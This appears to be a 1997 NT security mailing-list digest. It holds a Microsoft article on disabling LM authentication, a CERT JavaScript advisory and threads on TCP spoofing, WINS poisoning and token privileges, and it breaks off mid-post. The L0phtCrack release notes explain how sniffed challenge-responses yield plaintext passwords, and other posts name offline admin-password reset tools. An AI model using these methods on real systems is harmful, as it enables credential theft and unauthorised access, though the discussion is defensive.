TITLE :How to Disable LM Authentication on Windows NT
PRODUCT :Microsoft Windows NT, Windows 95, Windows for Workgroups 3.11 and LAN Manager 2.2c
PROD/VER:2.2 3.11 4.0 95
OPER/SYS:WINDOWS
KEYWORD :kberrmsg kbfile ntsecurity NTSrvWkst ntstop

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft LAN Manager version 2.2c
 - Microsoft Windows for Workgroups version 3.11
 - Microsoft Windows 95
--------------------------------------------------------------------------

SUMMARY
=======

Windows NT supports the following two types of challenge/response
authentication:

 - LanManager (LM) challenge/response
 - Windows NT challenge/response

To allow access to servers that only support LM authentication, Windows NT
clients currently send both authentication types. Microsoft developed a
patch that supports a new registry key that allows clients to be configured
to send only Windows NT authentication.

MORE INFORMATION
================

Microsoft has posted the patch at the following Internet location:

NOTE: Service Pack 3 must be applied to Windows NT 4.0 prior to applying
this fix.

 ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
 hotfixes-postSP3/lm-fix

The new registry parameter was added to the following registry key:

 HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\LSA

 Value: LMCompatibilityLevel
 Value Type: REG_DWORD - Number
 Valid Range: 0,1,2
 Default: 0

 Description: This parameter specifies the type of authentication to be
 used.

 Level 0 Send LM and Windows NT authentication (default).
 Level 1 Send Windows NT authentication and LM authentication only if the
 server requests it.
 Level 2 Never send LM authentication.

If a Windows NT client selects level 2, it cannot connect to servers that
support only LM authentication, such as Windows 95 and Windows for
Workgroups.

NOTE: If the last password change came from a Windows for Workgroups or MS-
DOS LanManager 2.x or earlier client, the data needed for Windows NT
authentication will not be available on the domain controller and a client
selecting level 2 will not be able to connect to Windows NT-based servers.

To eliminate LM authentication with protocols other than remote file
sharing (for example, Microsoft RPC, RAS, Internet Information Server
(IIS), or Internet Explorer -- anything that uses the NTLMSSP), both the
client and the server need to have the hotfix installed.

After installing the hotfix, perform the following steps to configure the
LM compatibility level on a computer running Windows NT Workstation or
Server:

WARNING: Using Registry Editor incorrectly can cause serious, system-wide
problems that may require you to reinstall Windows NT to correct them.
Microsoft cannot guarantee that any problems resulting from the use of
Registry Editor can be solved. Use this tool at your own risk.

1. Run Registry Editor (Regedt32.exe).

2. From the HKEY_LOCAL_MACHINE subtree, go to the following key:

 HKEY_LOCAL_MACHINE\System\CurrentControlSet\control\LSA

3. Click Add Value on the Edit menu.

4. Add the following two values:

 Value Name: LMCompatibilityLevel
 Data Type: REG_DWORD
 Data: 0 (default), 1, or 2

5. Click OK and then quit Registry Editor.

6. Shut down and restart Windows NT.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00 prodnt win95 wfwg

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


--------------------------------------------------------------------
Alex Libenson E-mail: alex@dan.lv
DAN Communications Homepage: http://www.bit.lv/alex/
 Phone: +371-7336070
8, Antonijas str. +371-7336071
LV-1010, Riga, Latvia Fax: +371-7334929
--------------------------------------------------------------------


At 15:08 7/11/97 -0400, Illuminatus Primus wrote:
>On Mon, 7 Jul 1997, David LeBlanc wrote:

>> What you can run into is a situation where even given a very random sequence
>> number generation scheme, you'll have the difference be the same for more
>> than one pair of packets. Note that if you send 24 packets for your sample,
>> and you guess just one, you get ~5%...
 
>Well, the statistics seemed to suggest that ~5% (and sometimes less) rate
>of predictability was common.. Even if it was a one-time lucky hit,
>1:4294967296 odds are usually pretty difficult to overcome.. I'd recommend
>trying your hand at the lottery. If the predictability scanner is already
>using varying port numbers (and in the best case) varying source IPs (this
>would take a little bit of setting up) and you made a lucky hit, then
>something is probably going wrong in the linux random number generator. If
>you are being lazy and using the same port & ip combination for each
>connection request, then the numbers you are getting could be
>misleading... and this might apply to other operating systems too. I'd
>venture to guess that ~5% is the around the rate of predictability you get
>when you are getting sequences that are simply incremented every
>millisecond... 

The scanner uses a new port for each attempt, but I believe the same IP address.
I understand the odds would theoretically be 1:2^32, but apparently they are
not. I frequently get one guess out of a run. Sometimes I get zero. I
really can't explain it, except to venture that the difference between two
subsequent connection attempts is not quite as random as the odds would seem.

>> I'd venture that actually spoofing something with a sequence generation
>> method such as Linux uses would be somewhat difficult, but as you point out,
>> you could essentially brute force it until you got lucky.
 
>4294967296 tries would probably take longer than linux would leave the
>connection open. Even half that (the average amount of tries it would
>take) would be hard to work through in enough time.

I completely agree. However, the same sort of logic applies to password
cracking. OTOH, these are results from one of our Linux machines:

0 out of 14 (0.00 %)
1 out of 18 (5.56 %)

It would seem to me that Linux is _very_ hard to spoof, and we've never been
able to actually accomplish a spoof against a recent Linux machine. Another
point I would make is that it is non-trivial to spoof even a very
predictable machine under the best of conditions. Despite the fact it is
_theoretically_ possible to spoof something which is even a little
predictable, our practical experience tells me that this isn't always easy
to actually pull off. Personally, I would not feel that spoofing would be
an effective way to breach a Linux machine, and would pursue other holes.

Besides which - anyone who is running rsh outside the firewall needs their
head examined.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

I was experimenting with the boot disk which alters the SAM file to allow a
person with access to the floppy of an NT machine to change any password,
including adminstrators'. The image is at this site, for reference:

http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

For any of you familiar with it, I am curious if you have experienced
something: I set User Cannot Change Password to be checked for accounts,
and was unable to change their passwords with the utility. If I am correct
(and I have done little testing and don't know whether I am.), this is a
sort of a fix for this problem. There are certainly problems with doing
this to user accounts, since they have to ask an admin to change their
passwords, but I would certainly think it works for admins, as they can
uncheck the box, change passwords, and recheck it. If anyone has or can
verify this, or can tell me why I'm wrong, please post.

Thanks,

-luke

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% Luke Preczewski gogol@nwu.edu %
% Sr. Residential Networking Consultant (847) 491-4080 %
% Internet Access Support Consultant http://sanford.res-hall.nwu.edu/ %
% Technology Support Services Northwestern University %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



>We had a user with the administrator password on a NT standalone 
>workstation get fired. He was the only one with the password. Is 
>there 
>anyway to get into this machine, or are we hosed?

>On another note. Yesterday, I sent out an e mail to my address book, 
>the 
>purpose of which was to transfer names to my Netscape e mail. I 
>accidentally included this list in the mailing. I sincerely >apologize 
for 
>any inconvenience it caused. I only sent it once. I don't know why 
>it got 
>sent so many times. It was not intentional. I even waited until I 
>had 
>something to post to send this apology. Thanks.

>Ronald Golden
>rgolden@akamail.com

Try one of these two handy WinNT utilities.....
1)NTRecover 1.0 for WindowsNT:
 NTRecover is an advanced Windows NT dead-system recovery utility 
for x86 NT 
installations. NT machines that fail to boot because of data corruption, 
improperly installed software or hardware, or faulty configuration, can 
be 
accessed and recovered using standard administrative tools, such as 
chkdsk, 
with NTRecover. NTRecover consists of host and client software, where 
the 
host software is run on a functioning NT 3.51 or 4.0 system, and the 
client 
software is executed on a target dead system. The host and client 
machines 
must be connected with a standard null-modem serial cable.
2)NTLocksmith 1.0 for WindowsNT:
This proggy, used in conjunction with NTRecover (a must!), is the 
ultimate 
tool to save your crashed NT setup (or other uses ;)). NTLocksmith will 
allow you to change the password for Administrators accts from a remote 
machine, even when the current password has been lost or forgotten.

Both are available on USENET....

Enjoy,


WrlWnd
WrlWnd@hotmail.com
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
PGP Public Key Bit Size=4096 |PGP Public Key Bit Size=1024
Key ID=0xA3D2288C |Key ID=0xDC150B01
User ID=WrlWnd |User ID=WrlWnd 
Fingerprint=9A18801060C5910D97CD |Fingerprint=ADE56753BF8224AF
 9DCC86A09549A3D2288C | B0AE877CFA77A0D9
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Extract PGP Public Keys from MIT or PGP Key Server


_______________________________________________________
Get Private Web-Based Email Free http://www.hotmail.com
I expect that most readers of this list are already fully conversant
with this issue, but just in case here's some of the background that 
once again didn't make it into the KB article :-(

It's a fairly safe bet that removing the LanMan authentication data 
is intended to make it harder for a bad guy to discover a plaintext 
password, should they get access to a challenge/response pair. This 
access might be gained through various exploits such as sniffing 
network traffic, rogue servers and rogue web servers.

The presence of the LanMan authentication data negates much of the
effect of using a 'strong' password, and by removing it from the 
challenge/response, a brute-force attack will typically take much 
longer. 

NB: This fix will not have any significant effect if weak passwords 
are used e.g. dictionary words, all numerics, insufficient length and 
so on and so forth..

The dreaded FAQ will get updated yet again just as soon as I've 
checked all the relevant packet dumps ;-)

PS: Could some NT device driver/kernel guru please explain "ring 0"?

--Alan--
acr@als.co.uk


On Sat, 12 Jul 1997, David LeBlanc wrote:

> predictable machine under the best of conditions. Despite the fact it is
> _theoretically_ possible to spoof something which is even a little
> predictable, our practical experience tells me that this isn't always easy
> to actually pull off. Personally, I would not feel that spoofing would be
> an effective way to breach a Linux machine, and would pursue other holes.
> 
> Besides which - anyone who is running rsh outside the firewall needs their
> head examined.

I disagree with your statement regarding the difficulty of pulling off a
TCP sequence prediction attack if the numbers are guessable. Except on
very high traffic systems (opening 100-200 connections per second), it's
rather trivial to do (in our tests). Perhaps other factors effected your
tests. Of course unknown entities add randomness to results in some cases,
which really can't be avoided - so it may take 2 tries).

Even then, sequence number randomness does not help you at all if you
allow source routing into your network (see
http://www.secnet.com/advisories). But people don't do that do they ? :-).

- Oliver

 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 Secure Networks Incorporated. Calgary, Alberta, Canada, (403) 262-9211

The utility doens't work with SP3 ...
I was able to use the utility with SP3 so long as Syskey wasn't installed.

-luke

>The utility doens't work with SP3 ...


%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% Luke Preczewski gogol@nwu.edu %
% Sr. Residential Networking Consultant (847) 491-4080 %
% Internet Access Support Consultant http://sanford.res-hall.nwu.edu/ %
% Technology Support Services Northwestern University %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%



> A few thoughts.
> 
> WINS is a dynamic name service and as such any client can register with
> the WINS server using the UDP based names resolution protocols for
> netbios.

So, 'poisoning' or at least 'littering' the WINS database is feasible?

> WINS Administration and replication is done via RPC.
> 
> The administration occurs over secure RPC and access is authenticated.

By machine name/ID? How does the authentication work?

> WINS operates in a push/pull fashion but all data is really pulled from
> replication partners. By default you only replicate with configured
> partners. A WINS server connects to its replication partners by IP
> address based on a pull time interval or
> after push notification from a partner.

So, , if a rogue machine could
imitate a replication partner and fake the authentication, it then could
pull the data and push whatever it wanted?


--
"What do you want?" -- Mr. Morden, Microsoft Sales VP

-- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
-- My views are not those of UMBC, AFAIK. HTH. HAND. --


 Hello,
 
 We have a a firewall setup to prevent access to UNIX workstations. At 
 least two computers are at a remote site, outside the firewall.
 
 The application engineers tell me that I have to have the remote 
 hostnames in the host table on the workstations inside the firewall 
 (this assumption is empirically based) for the applications to work.
 
 However, when the apps start, they take eons to time-out looking for 
 the hosts that are unreachable (outside).
 
 I was wondering if it would be possible to setup NT within the 
 firewall to at least fake the presence of the hosts so the 
 workstations inside the firewall do not continuously look for them. Or 
 would a proxy actually solve the problem? (I don't know how this would 
 interfere with the applications, but would be happy to test it when we 
 get there).
 
 The app engineers suggested allowing secure access to only those 
 computers outside the firewall, but I see this as severely 
 compromising the firewall.
 
 Any suggestions are greatly appreciated.
 
 Thanks,
 
 Davi
 
 UIHC - Radiology
 davi-ottenheimer@uiowa.edu

 
 L0phtCrack 1.5
 Released 7/12/97

 Available at http://www.l0pht.com/advisories.html

 mudge@l0pht.com
 weld@l0pht.com 

OVERVIEW

L0phtCrack 1.5 is a tool for turning Microsoft LANMAN and NT password
hashes back into the original clear text passwords. The program
does this using dictionary cracking and also brute force. L0phtCrack
1.5 returns not just the LANMAN passord but the NT password up to 14
characters in length.

Version 1.0 of L0phtCrack was deficient because the graphical version
of the program did not support the brute force method. This has been
fixed for version 1.5. The brute force efficiency has been improved
and an option to select the character set that makes up the password
has been added.

The default behavior of L0phtCrack is to do a dictionary attack on the
password file and then brute force the remaining uncracked passwords.
Sample password files are named pwfile.txt, pwfile2.txt, pwfile3.txt
and pwfile4.txt. A 28000 word dictionary file is included named
wfile.txt. You can dump passwords directly from L0phtCrack if you have
administrator rights.

L0phtCrack 1.5 includes the ability to dictionary attack or brute force
the network NT server challenge that is used to prevent the OWF from
going across the wire in its plaintext format. Sample network sniffed
challenges are in files sniff.txt and sniff2.txt. This means you
can get NT passwords without administrator privileges if you have network
access between the client and the server.

You can build the sniff files by hand using your favorite network analyzer
or wait for our tool which sniffs the network and builds these files.
The sniffing tool will be made available shortly. 

Also to be made available shortly is a commercial multiprocessor version,
L0phtCrack/SMP 1.5 for NT and Solaris. Contact l0phtcrack@l0pht.com for
more information. 

FILES IN THE EXECUTABLE DISTRIBUTION - LC15EXE.ZIP


lc_cli.exe is the command line version of the program. Run this if you
think little status counters are sucking up all you performance. Source
code for this program that will build on Win95/NT or Unix is included in
the source code distribution: lc15src.zip or lc15src.tar.gz

The Windows 95/NT graphical versions of L0phtCrack 1.5 are Shareware for
commercial and government entities. The trial period is 7 days and the
shareware fee is $50. The program is free for non-commercial or
non-government use. 

lc_gui.exe is the NT graphical version of L0phtCrack.

lc_guipro.exe is the NT graphical version of L0phtCrack that has been
compiled with Pentuim Pro optimizations turned on. 

lc_gui95.exe is Win95 graphical version of L0phtCrack. This version does
not support password dumping due to Win95 limitations. 

FILES IN THE SOURCE DISTRIBUTION - LC15SRC.ZIP or LC15SRC.TAR.GZ

This archive contains all the source to build the command line version of
L0phtCrack 1.5.

PERFORMANCE

Dictionary cracking is extremely fast. L0phtCrack running on a Pentium
Pro 200 checked a password file with 100 passwords against a 8 Megabyte
dictionary file in under one minute. 

Brute forcing is always an extremely CPU intensive operation. We have
worked to optimize this in L0phtCrack 1.5. L0phtCrack running on a
Pentium Pro 200 checked a password file with 10 passwords using the alpha
character set (A-Z) in 26 hours. The graphical verion of L0phtCrack 1.5
features a percentage done counter and a time remaining estimate so you
can gauge when the task will be complete. 

L0phtCrack 1.5 allows you to select one of 5 character sets to brute force
passwords that use more characters than A-Z. As the character sets
increase in size from 26 characters to 68 the time to brute force the
password increases exponentially. 

This chart illustrates the relative time for larger character sets. 

Char Relative 
Size Iterations Time

26 8353082582 1.00
36 80603140212 9.65
46 4.45502E+11 53.33
68 6.82333E+12 816.86

So if 26 characters takes 26 hours to complete, 36 characters (A-Z,0-9) 
would take 250 hours or 10.5 days. Now of course this is the worst case
senario of the password being 99999999999999. A password such as
take2asp1r1n would probably be computed in about 7 days. 
 
NT Server Challenge Sniffing

Here is a description of the challenge that takes place over the network
when a client, such as a Windows 95 machine, connects to an NT Server.

 [assuming initial setup etc...]

 8byte "random" challenge
 Client <---------------------- Server
 OWF1 = pad Lanman OWF with 5 nulls
 OWF2 = pad NT OWF with 5 nulls
 resp = E(OWF1, Chal) E(OWF2, Chal)
 48byte response (24byte lanman 24byte nt)
 Client -----------------------> Server

The client takes the OWF ( all 16 bytes of it) and pads with 5 nulls. 
>From this point it des ecb encrypts the, now 21byte, OWF with the
8byte challenge. The resulting 24byte string is sent over to the
server who performs the same operations on the OWF stored in it's
registry and compares the resulting two 24byte strings. If they 
match the user used the correct passwd.

What's cool about this? Well, now you can take your sniffer logs
of NT logons and retrieve the plaintext passwords. This does not
require an account on the NT machine nor does it require previous
knowledge of the ADMINISTRATOR password. 

So even if you have installed Service Pack 3 and enabled SAM encryption 
your passwords are still vulnerable if they go over the network.
 
Special thanks go out to:

 - Hobbit@avian.org for all the cool ideas and bare feet. Especially
 for his monster paper on CIFS problems.

 - Jeremey Allison jra@cygnus.com - for the fantastic sleuthing with
 PWDump.

 - tuebor@l0pht.com for a some nice little code tips and generall
coolness.

 - the people who did SAMBA for being nuts!

 - the people who did libdes for being nuts!

 - Yobie for always fighting giants.

 If anyone makes modifications / improvements please mail the diffs to
 mudge@l0pht.com.

 We hope this tool is useful,

 mudge@l0pht.com , weld@l0pht.com







 Weld Pond - weld@l0pht.com - http://www.l0pht.com/~weld
 L 0 p h t H e a v y I n d u s t r i e s 
 Technical archives for the people - Bio/Electro/Crypto/Radio

Authentication seems to be the same as for any other domain resource.
If you look at the startup for the WINS service, you can see what
account, and, therefore, what privledges the WINS server has on another
WINS server. 

For example, I was unable to get successful replication until I started
running the WINS servers with accounts that had administrator-type
accounts (in this case, domain accounts that have admin privledges on
each of the WINS servers.)

While it might be possible to set up a rogue server that would "litter"
the WINS database., I've found that WINS is pretty successful at
littering it's own database. Look at it sometime. It's one of the
goofiest things I've ever seen. While WINS should reject registrations
for duplicate IP addresses (one of the higher-impact attacks I could
envision with this service), I'd think that one other method of
littering could fill up a WINS address range with bogus registrations.

Aaaack. Either way, we're bringing in DNS. Flat name-space indeed. 8-)

Mike

> ----------
> From: John "E.R." Jasen[SMTP:jjasen1@umbc.edu]
> Sent: Monday, July 14, 1997 5:39 AM
> To: David Trulli
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Re: Possible WINS attack?
> 
> > A few thoughts.
> > 
> > WINS is a dynamic name service and as such any client can register
> with
> > the WINS server using the UDP based names resolution protocols for
> > netbios.
> 
> So, 'poisoning' or at least 'littering' the WINS database is feasible?
> 
> > WINS Administration and replication is done via RPC.
> > 
> > The administration occurs over secure RPC and access is
> authenticated.
> 
> By machine name/ID? How does the authentication work?
> 
> > WINS operates in a push/pull fashion but all data is really pulled
> from
> > replication partners. By default you only replicate with configured
> > partners. A WINS server connects to its replication partners by IP
> > address based on a pull time interval or
> > after push notification from a partner.
> 
> So, , if a rogue machine could
> imitate a replication partner and fake the authentication, it then
> could
> pull the data and push whatever it wanted?
> 
> 
> --
> "What do you want?" -- Mr. Morden, Microsoft Sales VP
> 
> -- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
> -- My views are not those of UMBC, AFAIK. HTH. HAND. --
> 
> 
Sorry to follow up my own message, but I found the answer in a post 
to the list I didn't get to yet. (RISK, if you process threaded 
lists alphabetically... you may never get to W!)

Anyway, the solution was posted by bthomas@pro.co.nz and involved

HKEY_LOCAL_MACHINE\SYSTEM\CurrnetControlSet\Control\Lsa\CrashonAuditFail

C2Config changed it to the data type REG_NONE with a binary value of 02 
(hex). Ben said change it to 1. Unfortunately, when I did this explorer 
didn't work!!!! I was able to get back into REGEDT32 from task manager 
and after looking at some other workstations, decided It could be deleted.
Once I deleted the value, everything worked fine.

I don't know how the type got set to REG_NONE... maybe if it was 
REG_DWORD changing the value to 1 would have worked....

Robert

--
-------------------------------------------------------------------------
Robert Eden 817-897-0491 Glen Rose, TX
Comanche Peak Steam Electric Station robert@cpvax.cpses.tu.com
-------------------------------------------------------------------------
-----BEGIN PGP SIGNED MESSAGE-----

============================================================================
=
CERT* Advisory CA-97.20
Original issue date: July 8, 1997
Last revised: -- July 11, 1997 - Updated Appendix A with vendor information
 for vulnerable browers.

 A complete revision history is at the end of this file.


Topic: JavaScript Vulnerability
- 
----------------------------------------------------------------------------
-

The CERT Coordination Center has received reports of a vulnerability in
JavaScript that enables remote attackers to monitor a user's Web activities.
The vulnerability affects several Web browsers that support JavaScript.

The vulnerability can be exploited even if the browser is behind a firewall
and even when users browse "secure" HTTPS-based documents.

The CERT/CC team recommends installing a patch from your vendor or upgrading
to a version that is not vulnerable to this problem (see Section III. A).
Until you can do so, we recommend disabling JavaScript (see Section III.B).

We will update this advisory as we receive additional information.
Please check our advisory files regularly for updates that relate to your 
site.

- 
----------------------------------------------------------------------------
-

I. Description

 Several web browsers support the ability to download JavaScript 
programs
 with an HTML page and execute them within the browser. These programs
 are typically used to interact with the browser user and transmit
 information between the browser and the Web server that provided the
 page.

 JavaScript programs are executed within the security context of the 
page
 with which they were downloaded, and they have restricted access to 
other
 resources within the browser. Security flaws exist in certain Web
 browsers that permit JavaScript programs to monitor a user's browser
 activities beyond the security context of the page with which the
 program was downloaded. It may not be obvious to the browser user that
 such a program is running, and it may be difficult or impossible for 
the
 browser user to determine if the program is transmitting information
 back to its web server.

 The vulnerability can be exploited even if the Web browser is behind a
 firewall (if JavaScript is permitted through the firewall) and even 
when
 users browse "secure" HTTPS-based documents.

II. Impact

 This vulnerability permits remote attackers to monitor a user's browser
 activity, including:

 * observing the URLs of visited documents,
 * observing data filled into HTML forms (including passwords), and
 * observing the values of cookies.


III. Solution

 The best solution is to obtain a patch from your vendor or upgrade to a
 version that is not vulnerable to this problem. If a patch or upgrade 
is
 not available, or you cannot install it right away, we recommend
 disabling JavaScript until the fix is installed.

 A. Obtain and install a patch for this problem.

 We are currently in communication with vendors about this problem.
 See Appendix A for the current information. We will update the
 appendix when we receive further information.

 B. Disable JavaScript.

 Until you are able to install the appropriate patch, we recommend
 disabling JavaScript in your browser. Note that JavaScript and Java
 are two different languages, and this particular problem is only 
with
 JavaScript. Enabling or disabling Java rather than JavaScript will
 have no affect on this problem.

 The way to disable JavaScript is specific to each browser. The
 option, if available at all, is typically found as one of the 
Options
 or Preferences settings.

*.......................................................................
Appendix A - Vendor Information 
 
Below is information we have received from vendors. We will update this
appendix as we receive additional information.
 
Microsoft
========= 
 Microsoft Internet Explorer 3.* and 4.* are vulnerable. Microsoft has
 announced their patch plans for this problem at:
 
 http://www.microsoft.com/ie/security/update.htm
 
Netscape
========
 Netscape Navigator/Communicator versions 2.*, 3.* and 4.* are vulnerable.
 See:
 
 http://www.netscape.com/flash4/assist/security/index.html
 
 for details.

- 
----------------------------------------------------------------------------
-
The CERT Coordination Center thanks Vinod Anupam of Bell Labs, Lucent
Technologies, for identifying and analyzing this problem, and vendors for
their support in responding to this problem.
- 
----------------------------------------------------------------------------
-

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in the Forum of Incident Response
and Security Teams (see http://www.first.org/team-info/).


CERT/CC Contact Information
- ----------------------------
Email cert@cert.org

Phone +1 412-268-7090 (24-hour hotline)
 CERT personnel answer 8:30-5:00 p.m. EST(GMT-5) / EDT(GMT-4)
 and are on call for emergencies during other hours.

Fax +1 412-268-6989

Postal address
 CERT Coordination Center
 Software Engineering Institute
 Carnegie Mellon University
 Pittsburgh PA 15213-3890
 USA

Using encryption
 We strongly urge you to encrypt sensitive information sent by email. We 
can
 support a shared DES key or PGP. Contact the CERT/CC for more 
information.
 Location of CERT PGP key
 ftp://info.cert.org/pub/CERT_PGP.key

Getting security information
 CERT publications and other security information are available from
 http://www.cert.org/
 ftp://info.cert.org/pub/

 CERT advisories and bulletins are also posted on the USENET newsgroup
 comp.security.announce

 To be added to our mailing list for advisories and bulletins, send
 email to
 cert-advisory-request@cert.org
 In the subject line, type
 SUBSCRIBE your-email-address

- 
---------------------------------------------------------------------------
* Registered U.S. Patent and Trademark Office.

Copyright 1997 Carnegie Mellon University
This material may be reproduced and distributed without permission provided
it is used for noncommercial purposes and the copyright statement is
included.

The CERT Coordination Center is part of the Software Engineering Institute
(SEI). The SEI is sponsored by the U.S. Department of Defense.
- 
---------------------------------------------------------------------------

This file: ftp://info.cert.org/pub/cert_advisories/CA-97.20.javascript
 http://www.cert.org
 click on "CERT Advisories"


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Revision history
July 11, 1997 - Updated Appendix A with vendor information
 for vulnerable browers.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM8YyDnVP+x0t4w7BAQEF5wQAwN30B9mTu296cobg+unDmcLbNZemZxXB
6e3vsMIrE7q/1ap3TT4P9QJg+QZCa0uW8Zj6vcaRA1CEQIJqab+yx6L/7rlg5EeN
iy/jzixnRQbz/Xtq2A0l0auD5dpoRm6+hPZxb9RSxprPF2vDCTecjZ9oaweDlJsC
L0jSV06EWjg=
=a+6f
-----END PGP SIGNATURE-----
RezPhreak
Server Administrator
-----------------------------------------------------
IRC via IRC Clients: minn.starchat.net
IRC via the WWW: http://irc.minn.net:8080
-----------------------------------------------------


http://www.sfgate.com/cgi-bin/chronicle/article.cgi?file=MN19202.DTL&directo
ry=/chronicle/archive/1997/07/12
RezPhreak
Server Administrator
-----------------------------------------------------
IRC via IRC Clients: minn.starchat.net
IRC via the WWW: http://irc.minn.net:8080
-----------------------------------------------------



Note that Java != JavaScript so your Subject line is wrong.

I used to disable JavaScript anyway while browsing.

Tom

--------------------------------------------------------------------------
T o m L e i t n e r Dept. of Communications
 Graz University of Technology, 
e-mail : tom@finwds01.tu-graz.ac.at Inffeldgasse 12
Phone : +43-316-873-7455 A-8010 Graz / Austria / Europe
Fax : +43-316-463-697
Home page : http://wiis.tu-graz.ac.at/people/tom.html
PGP public key on : ftp://wiis.tu-graz.ac.at/pgp-keys/tom.asc or send 
mail with subject "get Thomas Leitner" to pgp-public-keys@keys.pgp.net
--------------------------------------------------------------------------

Thomas Leitner wrote:
> 
> Note that Java != JavaScript so your Subject line is wrong.
> 
> I used to disable JavaScript anyway while browsing.

This better get straightened out quickly. Javascript is the only
scripting language supported by the majority of all web browsers. If we
don't have the glue.. what are we to do?

Waiting patiently to see what happens with SunScript.....

Jon Whitman
http://www.starchat.net/
[From jwhitman@brecknet.com]
> 
> Thomas Leitner wrote:
> > 
> > Note that Java != JavaScript so your Subject line is wrong.
> > 
> > I used to disable JavaScript anyway while browsing.
> 
> This better get straightened out quickly. Javascript is the only
> scripting language supported by the majority of all web browsers. If we
> don't have the glue.. what are we to do?

What to do? Security concious people would then rest a lot easier.
Javascript, as designed, is horrible.
If they removed all the nasty deep browser hooks in it, and just
made it a _basic_ scripting language, it would be safe by design.
Until then, bugs or not, I completely agree with Mr. Leitner.
I turn off Javascript, on ANY platform.
Here's a general security related question:

What do I open myself up for if I give some users the 
"create a token object" privilege? (and deny the
"replace a process level token" privilege.)

I've got the need to do some multiple WinID authentication,
using impersonation stuff on the server side, with the
client side doing the LogonUser() call. But, the client
needs to have the privilege to create the token object
(returned by the LogonUser()) or it will (rightfully) fail.

Is this fairly safe as long as they can't replace process level
tokens?

Gregg
============================================================
Gregg Welker greggw@interdyn.com
Internet Dynamics, Inc. PH:(805)370-2238
3717 E.Thousand Oaks Blvd. http:\\www.interdyn.com
Westlake Village, CA 91362
============================================================
Gregg Welker writes:
> 
> Here's a general security related question:
> 
> What do I open myself up for if I give some users the 
> "create a token object" privilege? (and deny the
> "replace a process level token" privilege.)
> 
> I've got the need to do some multiple WinID authentication,
> using impersonation stuff on the server side, with the
> client side doing the LogonUser() call. But, the client
> needs to have the privilege to create the token object
> (returned by the LogonUser()) or it will (rightfully) fail.
>
> Is this fairly safe as long as they can't replace process level
> tokens?

Giving a user the "create a token" privilege is a Bad Thing. The
user would be able to create a token containing arbitrary privileges
and SIDs, and then use ImpersonateLoggedOnUser() to gain access to
any object.

However, the user only needs the "part of the TCB" privilege in
order to successfully call LogonUser(). The token is actually
created by LSA (so LSA rather than the caller needs the "create a
token" privilege), and of course LSA requires you to provide the
account name and password so that's some protection.

(I don't know what other capabilities the TCB privilege gives you so
it may be a bad idea anyway.)


-- Jeff
Greetings,

I am having some trouble with non-admin users on NT4 (SP3) workstations being 
unable to connect to shares on Win 95 boxes. The win95 machines are using 
"user level" sharing and have permissions set to allow the users to access 
the share, but they are getting "Access is denied" messages. As admin I have no
trouble connecting.

This problem does not show up if the same non-admin users connect to the
same shares from NT3.51 or win 95. If anyone can enlighten me I would greatly 
appreciate it.

Thanks,
Charlie

Charles McKenzie
Lawson Research Institute
cmckenz@lri.stjosephs.london.on.ca

-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 14 Jul 1997, Alan C. Ramsbottom wrote:
> PS: Could some NT device driver/kernel guru please explain "ring 0"?
Has nothing to do with NT as such.
The i386 architecture does not know about kernel and user mode as many
other processors, instead it has a onion like 4 level structure.
ring 0 is the most priviledged ring. It can access data from all other,
 and it is usually the ring intended for the OS proper.
ring 1/2 can call code in lower rings (0 for 1, 0/1 for 2), and access
 data in higher rings (2/3, 3). Depending upon the the value of the
